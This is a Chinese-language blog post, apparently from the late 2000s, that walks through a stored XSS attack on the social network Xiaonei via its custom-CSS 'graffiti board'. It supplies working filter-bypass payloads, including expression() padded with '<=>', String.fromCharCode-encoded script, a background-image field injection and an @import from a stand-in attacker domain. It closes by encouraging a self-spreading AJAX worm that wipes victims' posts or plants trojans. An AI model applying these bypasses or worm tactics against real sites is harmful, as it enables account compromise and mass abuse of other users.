渗透校内网——XSS过程详解
——余弦函数( http://hi.baidu.com/ycosxhack )三更半夜原创
我知道校内网曾经爆发的那个蠕虫,那时候爆发这个相对来说容易,因为那时XSS没任何挑战,而AJAX蠕虫不是谁都可以写出来的,至少要有不错的 JavaScript编程能力。我是这两天才开始认真使用校内网的,使用前就发文声称要XSS^^,没想到几个小时的渗透,发现了校内网的过滤系统就是形同虚设。
下面详细讲解下这个渗透过程,技术讨论而已。其他邪恶的问题一概不回答。
一、先了解下面这些:
渗透点为校内网的涂鸦板,这个涂鸦板就像百度空间的“编辑CSS自定义模板”。如下截图:
截图中的唯一正常的代码就是:body{background-color:#000;}!必须知道在CSS中执行脚本的唯一方法为expression表达式,而这个expression只在IE内核的浏览器中得到支持!expression还有一个缺点是它会反复执行其中的js代码,所以我们用下面这个聪明的方法来解决:
expression(if(!window.x){your evil script;window.x=1;})
这样,expression中的js就将执行一次。根据不同的渗透环境,我们可以将我们的js适当的变形或加解密转换。这次渗透发现涂鸦板(如上面截图)中的“背景图片:”文本框与“CSS:”文本域都可以写入非法的XSS字符串。先介绍“CSS:”文本域。
二、开始渗透了:
我们填写:a{cos:expression(if(!window.x){alert('xss-WORM');window.x=1;})},保存修改后变为:
a{cos:expression(if(!window.x){alert(xss-WORM);window.x1;})}
可以发现,它将expression过滤为英文全角的expression(不过,最后一个n还是英文半角,这很有趣),并且过滤了单引号与等号。继续渗透发现它过滤的字符或字符串为:> < = & escape \ eval expression unescape ' " javascript @import等。现在我们来突破,如何突破?为了执行js,我们必须先复活expression。
将expression变形为exp/**/ression,其中/**/为CSS的注释符,浏览器将忽略它,所以expression可以正常执行,不过过滤系统就不一定会考虑到这个了。后面我总结了一个万能的绕过方法,也非常的有效,呵呵,想知道就继续往下看吧。
三、传说中的万能绕过方法:
先告诉你吧,这段代码就可以XSS校内网了:
a{cos:exp<=>ression(e<=>val(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,123,97,108,101,114,116,40,39,120,115,115,45,87,79,82,77,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125)))}
填写在“CSS:”文本域中,保存修改,在个人首页就可以看到XSS了,如下:
发现了没有,上面这段代码很奇怪啊。expression与eval都被<=>分割了,呵呵!原理就是:<=>这三个字符都会被过滤掉,连骨灰都不剩……于是我们的expression与eval就都有效了。所以传说中的万能绕过方法就是用<=>填充会被过滤的字符串(比如:javascript @import eval unescape escape expression等等)!但是对于那些特殊字符(比如:' " < = >等等)就没办法了,这个很好理解吧?这些特殊字符都将被过滤掉,都是连骨灰都不剩,所以你可以随意组合这些特殊字符串。我还是用我的<= >吧。
由于单引号等特殊字符都会被过滤掉,所以我们只能在expression表达式中选择使用eval(String.fromCharCode(邪恶的十进制码)),当然我们还可以选择使用@<=>import url(http://www.yourevilsite.com/xss.css);来导入外部CSS了,然后在你的外部CSS中就随意构造代码吧!邪恶的十进制码即你的js的十进制表达式,由于变为十进制了,所以任何特殊字符、任何函数都可以使用了,也就是说你可以执行任意js代码。
四、“背景图片:”文本框:
我发现这个文本框中仅仅过滤那些特殊字符,而不会过滤eval expression unescape等等,所以我就构造了如下代码:
http://);cos:expression(eval(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,123,97,108,101,114,116,40,39,120,115,115,45,87,79,82,77,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125))
原理上面已经提到了。至于为什么这样构造就留给你自己去探索吧,很简单其实。
五、渗透成功后:
成功后,就写AJAX蠕虫吧,让访问你页面的人都中招,然后来点危害,比如清空其文章,再留下你的大名,或者挂马,最好来个潜伏期什么的~~~说说而已,这样做会被鄙视的!最多就来个小恶作剧就好,低调~低调。关于AJAX蠕虫的优势与危害我就不多说了。我现在更愿意来个定向攻击。运气好的话,会有很大的收获。
最后,欢迎指正不足,更欢迎补充。My Blog: http://hi.baidu.com/ycosxhack。其实这次渗透我做的工作量可不仅这些,不该说的我就不说了。